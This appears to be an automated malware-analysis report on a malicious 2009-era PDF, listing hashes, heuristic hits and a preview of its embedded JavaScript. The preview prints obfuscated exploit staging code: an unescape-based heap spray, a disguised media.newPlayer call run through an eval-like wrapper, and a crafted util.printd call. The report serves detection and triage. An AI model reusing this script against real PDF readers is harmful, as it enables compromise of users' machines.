Malicious PDF — malware analysis report

Static analysis result for SHA-256 a02467290e1b8d54…

MALICIOUS

PDF

7.4 KB Created: 2009-12-17 16:59:10 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-10
MD5: 4e521483db1192efbf587039a3d6138f SHA-1: 59084a2e677d0af641c878851ef889ee14acba9c SHA-256: a02467290e1b8d54f19f5a097e89b8db4f27637894d0286edafb5c46c68f7e1e
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of an unescape() call and a suspicious extracted artifact named 'javascript_obj0021_000.js' suggests code obfuscation and execution. The script likely downloads and executes a second-stage payload, though its exact function is obscured. The confidence is moderate due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var kewenlgmdst = unescape("%u3f42%u3792");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x1883 866 bytes
SHA-256: f58b45f9707e0e6407aeaf4eb4e30e6c1a8ef53bc11a4ff3cc654b11e463bf2e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var ytrnrfdk = 0x2000;
var safja = "p@00000000000000000000";
function str_replace(haystack, needle, replacement) { 
	var temp = haystack.split(needle); 
	return temp.join(replacement); 
} 
var hsdhsteseascjrd = new Array();
var kewenlgmdst = unescape("%u3f42%u3792"); 
var safasja = "0000 : pppp000";
var EDgWghtrr = 0x8000;
function sasasdsace(adgsdgsd, hsarhgaser, dasgag) {
    return dasgag.split(adgsdgsd).join(hsarhgaser);
}
var fasfsafas = "this.medix.newPlxyer(xxxxx);";
var akkamy2 = sasasdsace("x","a",fasfsafas);
while(kewenlgmdst.length <= EDgWghtrr) kewenlgmdst += kewenlgmdst;
kewenlgmdst = kewenlgmdst.substring(0, EDgWghtrr - asdsadas.length); 




for(i = 0; i < ytrnrfdk; i++)  hsdhsteseascjrd[i] = kewenlgmdst + asdsadas;
aaaaa = null;
try
{
	esval(akkamy2);
}
catch(e){}

util.printd(safja+safasja, new Date());

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